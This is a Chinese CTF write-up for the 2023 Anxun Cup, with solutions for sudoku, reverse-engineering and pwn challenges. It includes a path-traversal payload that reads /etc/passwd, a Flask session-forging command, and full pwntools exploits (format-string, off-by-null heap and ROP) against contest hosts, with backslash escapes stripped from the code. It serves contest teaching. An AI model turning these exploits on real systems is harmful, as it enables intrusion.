Misc
sudoku_easy
直接找了网上大佬写好的解数独的脚本,直接套用
class SudoKu():
def __init__(self, sudo_ku_data):
if not isinstance(sudo_ku_data, list):
raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')
if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
raise TypeError(
f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')
self.sudo_ku = sudo_ku_data
# 存放每一行已有的数据
self.every_row_data = {}
# 每一列已有的数字
self.every_column_data = {}
# 每一个3*3有的数字
self.every_three_to_three_data = {}
# 每一个空缺的位置
self.vacant_position = []
# 每一个空缺位置尝试了的数字
self.every_vacant_position_tried_values = {}
# 初始化数据
self._init()
def _add_row_data(self, row, value):
'''
初始化的时候
添加数据到self.every_row_data中
:param row:
:param value:
:return:
'''
if row not in self.every_row_data:
self.every_row_data[row] = set()
if value in self.every_row_data[row]:
raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')
self.every_row_data[row].add(value)
def _add_column_data(self, column, value):
'''
初始化的时候
添加数据到self.every_column_data中
:param column:
:param value:
:return:
'''
if column not in self.every_column_data:
self.every_column_data[column] = set()
if value in self.every_column_data[column]:
raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')
self.every_column_data[column].add(value)
def _get_three_to_three_key(self, row, column):
'''
得到每一个3*3的key
:param row:
:param column:
:return:
'''
if row in [0, 1, 2]:
if column in [0, 1, 2]:
key = 1
elif column in [3, 4, 5]:
key = 2
else:
key = 3
elif row in [3, 4, 5]:
if column in [0, 1, 2]:
key = 4
elif column in [3, 4, 5]:
key = 5
else:
key = 6
else:
if column in [0, 1, 2]:
key = 7
elif column in [3, 4, 5]:
key = 8
else:
key = 9
return key
def _add_three_to_three_data(self, row, column, value):
'''
初始化的时候
添加数据到self.every_three_to_three_data中
:param row:
:param column:
:param value:
:return:
'''
key = self._get_three_to_three_key(row, column)
if key not in self.every_three_to_three_data:
self.every_three_to_three_data[key] = set()
self.every_three_to_three_data[key].add(value)
def _init(self):
'''
根据传入的数独,初始化数据
:return:
'''
for row, row_datas in enumerate(self.sudo_ku):
for column, value in enumerate(row_datas):
if value == '':
self.vacant_position.append((row, column))
else:
self._add_row_data(row, value)
self._add_column_data(column, value)
self._add_three_to_three_data(row, column, value)
def _judge_value_is_legal(self, row, column, value):
'''
判断方放置的数据是否合法
:param row:
:param column:
:param value:
:return:
'''
# value是否存在这一行数据中
if value in self.every_row_data[row]:
return False
# value是否存在这一列数据中
if value in self.every_column_data[column]:
return False
# value是否存在这个3*3的宫内
key = self._get_three_to_three_key(row, column)
if value in self.every_three_to_three_data[key]:
return False
return True
def _calculate(self, vacant_position):
'''
计算,开始对数独进行放置值
:param vacant_position:
:return:
'''
# 得到当前位置
row, column = vacant_position
values = set(range(1, 10))
# 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
key = str(row) + str(column)
# 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
if key in self.every_vacant_position_tried_values:
values = values - self.every_vacant_position_tried_values[key]
# 如果这个key不存在,就创建一个空的集合
else:
self.every_vacant_position_tried_values[key] = set()
for value in values:
# 对当前数据添加到当前位置尝试过的的数据中
self.every_vacant_position_tried_values[key].add(value)
# 如果当前value合法,可以放置
if self._judge_value_is_legal(row, column, value):
# print(f'set {vacant_position} value is {value}')
# 更新 判断数据合法时 需要使用到的数据
self.every_column_data[column].add(value)
self.every_row_data[row].add(value)
key = self._get_three_to_three_key(row, column)
self.every_three_to_three_data[key].add(value)
# 修改这个位置的值为value
self.sudo_ku[row][column] = value
# 返回True 和填充的 value
return True, value
return False, None
def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
'''
回溯
:param current_vacant_position: 当前尝试失败的位置
:param previous_vacant_position: 上一次成功的位置
:param previous_value:上一次成功的值
:return:
'''
# print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
row, column = previous_vacant_position
# 对上一次成功的值从需要用到的判断的数据中移除
self.every_column_data[column].remove(previous_value)
self.every_row_data[row].remove(previous_value)
key = self._get_three_to_three_key(row, column)
self.every_three_to_three_data[key].remove(previous_value)
# 并且上一次改变的的值变回去
self.sudo_ku[row][column] = ''
# 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
current_row, current_column = current_vacant_position
key = str(current_row) + str(current_column)
self.every_vacant_position_tried_values.pop(key)
def get_result(self):
'''
得到计算之后的数独
:return:
'''
# 空缺位置的长度
length = len(self.vacant_position)
# 空缺位置的下标
index = 0
# 存放已经尝试了的数据
tried_values = []
# 如果index小于length,说明还没有计算完
while index < length:
# 得到一个空缺位置
vacant_position = self.vacant_position[index]
# 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
is_success, value = self._calculate(vacant_position)
# 如果成功,将value放在tried_values列表里面,因为列表是有序的.
# index+1 对下一个位置进行尝试
if is_success:
tried_values.append(value)
index += 1
# 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
else:
self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
index -= 1
# 如果index<0 了 说明这个数独是无效的
if index < 0:
raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')
# 打印计算之后的数独
self.show_sudo_ku()
return self.sudo_ku
def show_sudo_ku(self):
'''
显示数独
:return:
'''
for row in self.sudo_ku:
for b in row:
print(str(b), end="")
print()
# print(row) # 原本
##################################################
# 用来判断最后计算的数独是否合法,和计算没有关系 #
##################################################
def judge_value_is_legal(row, column, value, sudo_ku):
# column
for i in range(0, 9):
if row == i:
continue
if value == sudo_ku[i][column]:
return False
# row
for i in range(0, 9):
if column == i:
continue
if value == sudo_ku[row][i]:
return False
# three_to_three
for i in range(row // 3 * 3, row // 3 * 3 + 3):
for j in range(column // 3 * 3, column // 3 * 3 + 3):
if i == row and j == column:
continue
if value == sudo_ku[i][j]:
return False
return True
def judge_sudo_ku_is_legal(sudo_ku):
for row, row_values in enumerate(sudo_ku):
for column, value in enumerate(row_values):
if not judge_value_is_legal(row, column, value, sudo_ku):
return False
return True
if __name__ == '__main__':
data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
sudo1 = data.split('n')
sudo_ku_data = [list(s) for s in sudo1]
for i in sudo_ku_data:
for b in range(len(i)):
if i[b] != '0':
i[b] = int(i[b])
else:
i[b] = ''
# 得到计算好的数独
sudo_ku = SudoKu(sudo_ku_data).get_result()
# 判断最后生成的数独是否是有效的
# print(judge_sudo_ku_is_legal(sudo_ku))
手动答题就好了,有500
秒的时间,绰绰有余。
烦人的压缩包
打开压缩包要密码,爆破密码645321
。
里面一张图片和文本,文本没什么用;图片隐藏一个压缩包,改成zip直接解压,报错不用管。
压缩包里面的flag.txt,复制十六进制丢去解密。
Ook!解码
sudoku_speedrun
也是数独题,只不过需要一步步交互式修改,没修改一个数字都需要走一步。
import telnetlib
import time
import re
# 数独计算解决者--GPT
def solve_sudoku(board):
"""
Solve the Sudoku puzcontainle using backtracking algorithm.
"""
def is_valid(row, col, num):
"""
Check if the given number is valid at the given position.
"""
# Check row
for i in range(9):
if board[row][i] == num:
return False
# Check column
for i in range(9):
if board[i][col] == num:
return False
# Check 3x3 box
box_row = (row // 3) * 3
box_col = (col // 3) * 3
for i in range(box_row, box_row + 3):
for j in range(box_col, box_col + 3):
if board[i][j] == num:
return False
return True
def backtrack():
"""
Backtracking algorithm to solve the Sudoku puzcontainle.
"""
nonlocal solved
for row in range(9):
for col in range(9):
if board[row][col] == 0:
for num in range(1, 10):
if is_valid(row, col, num):
board[row][col] = num
backtrack()
if solved:
return
board[row][col] = 0
return
solved = True
# Initialize variables
solved = False
# Solve the Sudoku puzcontainle
backtrack()
return board
telnet = telnetlib.Telnet('47.108.165.60', port=34835)
telnet.write(b'1n') # 开始游戏
telnet.write(b'7n') # 选择难度
time.sleep(1)
contain = telnet.read_very_eager().decode('ascii') # 获取题目
# print(contain)
contain = re.sub(r'[0-9];[0-9][0-9]', "", contain) # 通过正则设置成指定格式
contain = re.sub(r'', "", contain)
contain = re.sub(r'0m', "", contain)
contain = re.sub(r'm', "", contain)
with open('log.txt', 'w') as f:
f.write(contain)
alls = re.compile(r'([0-9])')
s = alls.findall(contain)
x = s[-81:]
x = list(map(int, x))
l1, l2, l3, l4, l5, l6, l7, l8, l9 = x[0:9], x[9:18], x[18:27], x[27:36], x[36:45], x[45:54], x[54:63], x[63:72], x[72:81]
# Solve the Sudoku puzcontainle
board = [l1, l2, l3, l4, l5, l6, l7, l8, l9]
sudu_board = solve_sudoku(board) # 解决数独
# 回填
for row in sudu_board:
print(row)
for i in range(9):
telnet.write(str(row[i]).encode('ascii') + b'n') # 每次向右写一个
telnet.write(b'Dn')
telnet.write(b'Sn') # 每写完一行就向下
telnet.write(b'Rn')
time.sleep(1)
print(telnet.read_very_eager().decode('ascii'))
telnet.write(b"exitn")
Web
CarelessPy
没什么发挥,水水水,解一下这题思路
是一个新的知识点
打开环境,可以发现有两个接口,一个是eval
,另一个是login
处,存在文件下载漏洞
构造Payload:
/download?file=../../../../../etc/passwd
下载成功
/download?file=../../../../../proc/1/environ
下载失败
构造去下载提示的start.sh
得到文件内容
继续构造下载pyc
文件../../../../../../../app/__pycache__/part.cpython-311.pyc
将其进行反编译获取源码
得到secret_key
进行伪造登录login
接口
python3 flask_session_3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin':True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRyRA.okjKxL2LmV5SlZOjFeYfbjs1p6k
访问接口/th1s_1s_The_L4st_one
,经过分析发现此处存在XXE
漏洞,构造Payload获取flag
Reverse
ez_cpp
通过字符搜索直接进到程序主逻辑。用户输入先是通过两个虚函数进行变换操作,然后再与sub_411177
函数的操作结果进行逐字符异或,最后进行与密文的比较。
直接动调,先找到密文,输入长度为32位的字符串。
接着分析sub_411177
函数,可以直接根据密文爆破出经过这个函数变化前的字符。
def en3(a1, a2):
v2 = 0
v3 = 0
if a2 > 0:
v4 = a2 - 1
while v3 < a2:
bit = (a1 >> v3) & 1
bit_pos = 1 << v4
v2 |= bit * bit_pos
v3 += 1
v4 -= 1
return v2 + 1
key = [0x22, 0xA2, 0x72, 0xE6, 0x52, 0x8C, 0xF2, 0xD4,
0xA6, 0x0A, 0x3C, 0x24, 0xA6, 0x9C, 0x86, 0x24,
0x42, 0xD4, 0x22, 0xB6, 0x14, 0x42, 0xCE, 0xAC,
0x14, 0x6A, 0x2C, 0x7C, 0xE4, 0xE4, 0xE4, 0x1E]
for n in key:
for b in range(255):
if en3(b, 0x8) ^ 1 == n:
print(chr(b), end="")
# DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x
接着往上走,dump
出v18
和v19
两个函数,都有花指令。
v19
函数
int __thiscall start(_DWORD *this, _BYTE **input)
{
_BYTE *v3; // ebx
int v4; // esi
int result; // eax
int v6[32]; // [esp+Ch] [ebp-84h] BYREF
sub_41142E(&unk_41F035);
v3 = *input;
v4 = 0;
result = sub_411140(this[1], v6);
if ( *v3 )
{
do
{
if ( v4 <= 16 )
{
if ( v4 >= 16 )
{
v3[v4] ^= 4u;
}
else
{
result = v6[v4];
if ( result )
{
if ( !--result )
v3[v4] ^= 9u;
}
else
{
v3[v4] -= 2;
}
}
}
else
{
result = v6[v4];
if ( result )
{
if ( !--result )
v3[v4] ^= 6u;
}
else
{
v3[v4] -= 5;
}
}
++v4;
}
while ( v3[v4] );
}
return result;
}
逆向第二次变换代码,计算出第一次变换后的结果
def en2(input):
global v6
r = []
if input:
for v4 in range(len(input)):
v3 = ord(input[v4])
if v4 < 16:
if v4 >= 16:
r.append(v3 ^ 4)
else:
result = v6[v4]
if result:
result -= 1
if not result:
r.append(v3 ^ 9)
else:
r.append(v3 + 2)
else:
result = v6[v4]
if result:
result -= 1
if not result:
r.append(v3 ^ 6)
else:
r.append(v3 + 5)
return r
final = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"
en2_flag = "".join([chr(i) for i in en2(final)])
print(en2_flag)
# FLPnL3F-lR5-l0h-G0Ir-Gu3-P9C!!!}
v18
函数,这是一个ROT 13
,
int __thiscall start(_DWORD *this, int *input)
{
int v3; // ecx
int v4; // esi
int i; // edx
int result; // eax
int v7; // ebx
char v8; // cl
sub_41142E(&unk_41F035);
v4 = *input;
if ( *(_BYTE *)(*input + 3) == 'a' )
exit(0);
for ( i = 0; i < 32; ++i )
{
LOBYTE(v3) = *(_BYTE *)(i + v4);
result = v3 - 61;
if ( (unsigned __int8)(v3 - 61) <= 0x3Eu )
{
result = (char)v3;
v7 = (char)v3 + 13;
if ( (char)v3 > this[1] ) // 0x5A('Z')
{
if ( v7 <= this[2] ) // 0x7A('z')
v8 = v3 + 13;
else
v8 = v3 - 13;
*(_BYTE *)(i + v4) = v8;
}
else
{
result = -13;
if ( v7 <= this[1] )
result = 13;
LOBYTE(result) = v3 + result;
*(_BYTE *)(i + v4) = result;
}
}
}
return result;
}
这里解密出来的flag
有点奇怪,缝缝补补,最后得到正确flag
SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}
babythread
直接进到main
函数,可以看到用户输入传入了sub_41129E
函数,最后与unk_41B018
地址的数据进行了比较。
进到sub_41129E
函数,这个函数实现了两部分功能,先是对生成密钥,再是对用户输入进行RC4
加密,最后返回加密后的密文。
这里可以使用动调知道最后参与S
盒制作的密钥是哪个,但是注意到Tls回调函数
有个反调试IsDebuggerPresent()
,需要浅浅绕过一下。
获取密钥key
逆向脚本
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
keystream = PRGA(S)
return keystream
# 使用示例
if __name__ == '__main__':
key = [0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
Buf1 = [0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
# 解密
plaintext2 = bytearray()
keystream = RC4(key)
for b in Buf1:
plaintext2.append(b ^ next(keystream)) # 异或操作
print(plaintext2)
# SYC{Th1s_is_@_EasY_3ncryptO!!!!}
PWN
harde_pwn
代码审计
main()
fuxk_game()
heap_fmt()
思路
先通过这个fuxk_game()
,我们可以覆盖到seed
,所以也可以预测rand()
的值,然后就可以进入到heap_fmt()
函数,利用格式化字符串漏洞,修改printf
的返回地址为one_gadget
就可以getshell
exp:
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc.so.6")
# libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("47.108.165.60",45340)
elf = ELF(name)
get_p("./harde_pwn")
guess_num = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
p.sendafter("Welcome to a ctype game!",b"A"*28+p32(1))
for i in guess_num:
p.sendlineafter("input",str(i))
# gdb.attach(p,"b *$rebase(0x14fb)")
# sleep(2)
p.sendafter("input your data ;)","%11$p+%15$p+")
p.recvuntil("0x")
libc.address = int(p.recvuntil("+")[:-1],16) - libc.sym['__libc_start_main'] + 0x30
realloc_hook = libc.sym['__realloc_hook']
one_gadget = 0xebcf5 + libc.address
print(hex(libc.address))
stack = int(p.recvuntil("+")[:-1],16)
stack_1 = stack - 0x140
stack = stack - 0x128
print(hex(stack))
# raw_input()
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str(stack_1 & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
stack += 0x8
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1+2) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+4) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>32) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
stack +=0x8
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1+4) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+4) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>32) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str(one_gadget & 0xffff) + "c%8$hn"
payload += "%" + str(0x10000-(one_gadget & 0xffff)+((one_gadget>>16)&0xffff)) + "c%9$hn"
payload += "%" + str(0x10000-((one_gadget>>16) & 0xffff)+((one_gadget>>32)&0xffff)) + "c%10$hn"
p.sendafter("input your data ;)",payload)
p.interactive()
注意远程的libc版本是libc-2.35.so,利用不了hook
pwnpwn
代码审计
main()
sub_C60()
该函数利用4个rand()%10
,让我们猜4个数字
add()
off by null
漏洞
思路
利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/shx00”便可以getshell
exp:
from pwn import*
from ctypes import *
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary('./libc-so.6')
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("47.108.165.60",30770)
elf = ELF(name)
def add(idx,size,content):
p.sendlineafter("root@$",'1')
p.sendlineafter("give me your index:",str(idx))
p.sendlineafter("give me your size:",str(size))
p.sendafter("give me your content:",content)
def edit(idx,content):
p.sendlineafter("root@$",'3')
p.sendlineafter("give me your index",str(idx))
p.sendlineafter("give me your index",str(idx))
p.sendafter("give me your content:",content)
def dele(idx):
p.sendlineafter("root@$",'4')
p.sendlineafter("give me your index:",str(idx))
def show(idx):
p.sendlineafter("root@$",'2')
p.sendlineafter("give me your index:",str(idx))
def login(name,passwd):
p.sendlineafter("root@$",'5')
p.sendafter("please input your username",name)
p.sendafter("please input your passwd",passwd)
# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)
libc_run.srand(libc_run.time(0)+10)
num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)
def pwn(num):
p.sendlineafter("please input your number:",str(num))
p.recvline()
if not p.recvuntil("you win",timeout=0.1):
exit(0)
login("AAAAA","AA")
add(0,0x440,"AAA")
add(1,0x88,"AAA")
add(2,0x440,"AAAA")
add(3,0x60,"AAA")
dele(0)
dele(2)
add(0,0x450,"AAAA")
add(2,0x440,"AAAAAAAA")
add(4,0x440,"AAAAAAAA")
edit(4,"x70"*9)
login("AAAAA","A"*100)
show(4)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
print(hex(libc.address))
login("AAAAAx00","AAAx00")
edit(4,"A"*0xf+"+")
login("AAAAA","A"*100)
show(4)
p.recvuntil("+")
heap_addr = u64(p.recv(6).ljust(8,b"x00")) - 0x290
print(hex(heap_addr))
login("AAAAAx00","AAAx00")
ptr = heap_addr + 0xc60 - 0x20
target = heap_addr + 0x10c0 - 0x20
edit(0,p64(target))
# for i in range(5):
# dele(i)
# add(7,0x80,"AAA")
# add(8,0x70,"AAAA")
# add(9,0x3f0,"AAAA")
add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
add(6,0x218,"AAA")
add(7,0x4f0,"AAAA")
dele(6)
add(6,0x218,b"A"*0x210+p64(0x440))
dele(7)
add(7,0x210,"AAAA")
add(8,0x60,"AAAAA")
dele(3)
dele(6)
login("AAAAAx00","AAAx00")
edit(8,p64(free_hook))
add(6,0x60,"/bin/shx00")
add(3,0x60,p64(libc.sym['system']))
dele(6)
# gdb.attach(p,"")
while True:
try:
get_p("./pwnpwn")
pwn(num)
p.interactive()
except:
p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次
DE_CAT
代码审计
main()
经典堆题
init_s()
不用看就知道了,要orw
edit()
又是off_by_null
思路
先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流
exp:
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("47.108.165.60",45244)
elf = ELF(name)
def add(size,content):
p.sendlineafter("input your car choice >> ","1")
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def edit(idx,content):
p.sendlineafter("input your car choice >> ",'4')
p.sendlineafter("idx:",str(idx))
p.sendafter("content:",content)
def show(idx):
p.sendlineafter("input your car choice >> ",'3')
p.sendlineafter("idx:",str(idx))
def dele(idx):
p.sendlineafter("input your car choice >> ",'2')
p.sendlineafter("idx:",str(idx))
get_p("./CAT_DE")
add(0x440,"AAA")
add(0x88,"AAA")
add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"AAAAAAAA")
show(4)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 0x21a000 - 0xe0
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)
heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))
for i in range(7):
add(0xf8,"AAA")
add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")
for i in range(7):
dele(i+5)
target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"x00") + p64(0x100)
edit(12,payload)
dele(13)
add(0xe8,"AAAA")
add(0xe8,"AAAA")
dele(5)
dele(6)
show(12)
p.recvuntil("xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)
add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))
add(0xd0,"A"*8)
show(7)
stack = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']
orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0,b"./flag".ljust(8,b"x00")+orw)
# gdb.attach(p,"b *free")
p.interactive()
注意也是libc-2.35,利用不了hook
。
原文始发于微信公众号(ACT Team):2023年安洵杯Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论